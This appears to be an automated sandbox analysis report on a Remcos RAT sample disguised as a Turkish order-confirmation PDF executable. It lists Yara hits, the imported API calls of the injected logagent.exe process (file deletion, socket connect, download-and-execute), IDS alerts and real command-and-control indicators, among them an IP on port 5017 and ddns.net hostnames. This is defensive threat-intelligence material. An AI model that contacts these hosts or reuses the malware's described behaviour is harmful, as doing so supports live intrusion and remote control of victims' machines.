Source: Yara match	File source: 00000000.00000002.315970483.0000000003AEC000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.347895283.0000000003AC8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.315787933.0000000003968000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.360606462.0000000003C4C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.360448965.0000000003AC8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe PID: 6356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Eluiezilfw.exe PID: 6880, type: MEMORYSTR

Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.3:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49751 version: TLS 1.2

Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00404C0A wcscmp,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,tolower,tolower,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindNextFileW,wcscmp,wcscmp,wcscmp,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@G@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,tolower,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?find@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIABV12@I@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0040751B Sleep,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,getenv,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,FindFirstFileA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindClose,FindNextFileA,FindNextFileA,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,FindClose,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00410586 ?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?substr@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV12@II@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ,?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??9std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??9std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??1?$basic_string@GU?$char_tr
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0040728F Sleep,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,getenv,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,FindFirstFileA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindClose,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindNextFileA,FindNextFileA,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,DeleteFileA,GetLastError,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,DeleteFileA,GetLastError,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,FindClose,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_0040477E _EH_prolog,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,socket,connect,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,_CxxThrowException,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,_CxxThrowException,FindNextFileW,wcscmp,wcscmp,wcscmp,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,_CxxThrowException,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?end@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?begin@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEPAGXZ,?find@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIABV12@I@Z,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,_CxxThrowException,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,FindClose,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00403325 ?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,FindFirstFileW,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??9std@@YA_NABV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,FindNextFileW,FindNextFileW,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_00412BEE wcscpy,wcscpy,wcscat,wcscat,wcscpy,wcscat,FindFirstFileW,wcscpy,RemoveDirectoryW,FindNextFileW,wcscat,RemoveDirectoryW,wcscpy,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10548C1E getenv,FindFirstFileA,FindClose,GetLastError,GetLastError,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10544CB4 FindFirstFileW,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_1055457D FindFirstFileW,FindNextFileW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_1054610D _EH_prolog,socket,connect,_CxxThrowException,FindFirstFileW,_CxxThrowException,FindNextFileW,_CxxThrowException,_CxxThrowException,FindClose,atoi,_CxxThrowException,atoi,FindClose,RtlExitUserThread,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10546599 FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10548EAA getenv,FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindClose,FindClose,
Source: C:\Windows\SysWOW64\logagent.exe	Code function: 3_2_10551F15 FindFirstFileW,

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00403C4A ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,SetEvent,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?substr@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV12@II@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,ShellExecuteW,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,?length@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEIXZ,?substr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBE?AV12@II@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,GetLogicalDriveStringsA,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,?find@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIPBDII@Z,?resize@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXI@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$cha

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2845323 ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Outbound) 192.168.2.3:49778 -> 37.0.14.195:5017
Source: Traffic	Snort IDS: 2844577 ETPRO TROJAN MSIL/Remcos RAT CnC Checkin M2 192.168.2.3:49778 -> 37.0.14.195:5017
Source: Traffic	Snort IDS: 2845324 ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Inbound) 37.0.14.195:5017 -> 192.168.2.3:49778

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: Pw`~hustlelord.ddns.net

Uses dynamic DNS services

Source: unknown

DNS query: name: blessmyhustlelord.ddns.net

Source: Joe Sandbox View

ASN Name: WKD-ASIE WKD-ASIE

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View	IP Address: 162.159.130.233 162.159.130.233
Source: Joe Sandbox View	IP Address: 162.159.130.233 162.159.130.233

Source: global traffic

TCP traffic: 192.168.2.3:49746 -> 37.0.14.195:5017

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_1054EE74 URLDownloadToFileW,ShellExecuteW,??3@YAXPAX@Z,

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000003.269381013.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000003.278138835.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000003.269349489.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310588608.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000003.278138835.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310588608.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310005988.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310005988.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/.
Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000003.278138835.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310588608.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/2y
